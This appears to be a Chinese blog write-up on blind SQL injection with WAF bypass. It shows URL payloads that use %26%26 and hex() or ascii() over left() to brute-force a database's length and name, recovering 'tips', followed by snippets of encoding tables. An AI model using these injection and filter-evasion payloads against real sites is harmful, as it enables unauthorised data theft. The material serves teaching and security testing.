的編碼對照表 盲注 hex編碼繞waf(思路)

2021-10-16 06:57:01 字數 1519 閱讀 4026

mysql分割函式有:substr、substring、left

當union、空格、and、or、注釋、substr被過濾的時候如下

可嘗試用編碼進行繞過,如urlencode編碼,ascii,hex,unicode編碼繞過,上面**沒有過濾left,可以用left加上hex進行繞過

這裡通過測試語句判斷出是數字型注入

錯誤則不顯示,用盲注試一下,

判斷資料庫長度語句(模板):

/?id=1'%20 and (length(database()))=8--+
payload:

?id=1%26%26hex(length(database()))>5  //and=&&  &=%26
通過二分法得出資料庫長度為:4

接下來判斷資料庫名:可通過burp抓包爆破,payload為:

?id=1%26%26hex(left(database(),1))=1    //(left(database(),1)   1表示資料庫名第一位
也可以用ascii,原理一樣:
?id=1%26%26ascii(left(database(),1))=116
第乙個變數:資料庫長度

第二個變數:hex編碼 

payload options [brute forcer] 最小長度為1,最大長度為8.

當然,最快的方法是爆出一位,填payload裡再繼續爆破下一位。

payload options [brute forcer] 填8,是因為ascii編碼轉過來是2位,見下圖

這種爆破方式較慢,沒爆破完,結果如下:

payload為:

?id=1%26%26hex(left(database(),1))=74    //資料庫第1位
?id=1%26%26hex(left(database(),2))=7469  //資料庫第2位
?id=1%26%26hex(left(database(),3))=746970 // 資料庫第3位
最後結果為:

通過ascii與hex對照表得出資料庫名:tips

url編碼對照表

backspace 08 tab 09 linefeed 0a creturn 0d space 20 21 22 23 24 25 26 27 28 29 2a 2b 2c 2d 2e 2f 0 30 1 31 2 32 3 33 4 34 5 35 6 36 7 37 8 38 9 39 3a ...

ANSI編碼對照表

ascii 美國資訊交換標準編碼 表 字元 ascii 字元 ascii 字元 ascii 二進位制 十進位制 十六進製制 二進位制 十進位制 十六進製制 二進位制 十進位制 十六進製制 回車esc空格!0001101 0011011 0100000 0100001 0100010 0100011 ...

HTML特殊字元編碼對照表

字元 十進位制字元編號 實體名字 驚嘆號exclamation mark 雙引號quotation mark 數字標誌number sign 美元標誌dollar sign 百分號percent sign ampersand 單引號apostrophe 小括號左邊部分left parenthesis...